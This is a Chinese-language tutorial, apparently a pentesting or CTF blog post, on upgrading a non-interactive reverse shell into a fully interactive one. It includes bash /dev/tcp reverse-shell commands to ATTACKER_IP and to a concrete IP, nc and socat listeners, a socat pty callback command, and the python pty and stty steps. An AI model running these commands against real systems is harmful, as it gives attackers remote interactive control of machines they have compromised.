反弹shell升级为完全交互式shell

前言

Webshell反弹到服务器上时经常都是非交互式的,具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了,比如需要使用vim时显示一堆的控制符,在Ctrl+C时却退出了Shell

反弹 shell 一般是非交互式的,主要原因和反弹 shell 的工作方式、网络环境以及终端类型有关。


  1. 终端类型问题
  • 反弹 shell 通常是通过 bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1ncperl 等方式建立的 TCP 连接。
  • 这种 TCP 连接并不是一个 TTY/PTY(终端设备),而只是一个裸的网络数据流。
  • 由于没有绑定到伪终端(pseudo-terminal),shell 无法识别终端的特性(例如光标移动、命令补全、vimtop 这些需要交互控制的程序),所以它表现为非交互式

  1. 环境变量缺失
  • 正常登录的交互式 shell 会设置一系列环境变量(如 TERMSHELLPS1 等),并执行 /etc/profile~/.bashrc 这种初始化文件。
  • 反弹 shell 启动时通常跳过这些初始化步骤,导致功能受限,看起来“傻傻的”。

  1. 权限和安全限制
  • 目标机的某些安全配置(如 nohuprestricted shell)可能会让反弹 shell 运行在非交互模式,减少攻击者获取完整控制的可能性。
  • 特别是在受限的 CTF 环境、容器、chroot 里,shell 默认就不给你分配 TTY。

  1. TCP 连接本质
  • 在你用反弹 shell 时,本质上是一个程序的标准输入输出直接绑到 TCP socket 上。
  • 这跟你直接 ssh 或本地打开终端不同,没有额外的 终端控制通道,所以没有命令历史、光标控制等高级交互。

升级为完全式shell

python

前提是目标主机上面有python

1、查看监听服务器终端和STTY信息

1
2
3
4
5
6
7
8
9
10
root@i-wz982ibu6zo1y9jvywxi:~# echo $TERM
xterm
root@i-wz982ibu6zo1y9jvywxi:~# stty -a
speed 38400 baud; rows 33; columns 124; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q;
stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

这里我们的终端信息为xterm,stty的行数(rows)为33,列数(columns)为124

2、在监听服务器开启监听

1
2
root@i-wz982ibu6zo1y9jvywxi:~# nc -lvvp 2333
Listening on 0.0.0.0 2333

3、在目标机器执行反弹shell命令

1
bash -i >& /dev/tcp/47.113.102.46/2333 0>&1

4、启用python交互式

1
2
3
┌──(sherlock㉿LAPTOP-D6OB0LH7)-[~]
└─$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

5、按下Ctrl+Z,后台挂起

6、刷新终端

1
2
3
4
root@i-wz982ibu6zo1y9jvywxi:~# stty raw -echo
root@i-wz982ibu6zo1y9jvywxi:~# fg #这个指令输入的时候不会回显
┌──(sherlock㉿LAPTOP-D6OB0LH7)-[/tmp/frp_0.58.1_linux_amd64]
└─$ reset

可能这时候就会有如下的提示询问终端类型,此时就可以直接输入终端信息然后回车

1
2
reset: unknown terminal type unknown
Terminal type?

若无提示需要设置

1
2
┌──(sherlock㉿LAPTOP-D6OB0LH7)-[/tmp/frp_0.58.1_linux_amd64]
└─$ export TERM=xterm

根据自己的终端信息设置如下参数

1
2
$ export SHELL=bash
$ stty rows 33 columns 124

socat

socat的可执行文件可以从https://github.com/3ndG4me/socat/releases下载

1、在监听服务器开启监听

1
$ socat file:`tty`,raw,echo=0 tcp-listen:7777

这里的7777为监听的端口

2、把socat可执行文件上传到目标机器上

给socat执行文件赋权限:chmod 777 ./socatx64.bin

然后执行:

1
user@414e07ee65d84196:~$ ./socatx64.bin exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:47.113.102.46:7777

其中47.113.102.46:7777为监听服务器的IP和端口

image-20250815114636734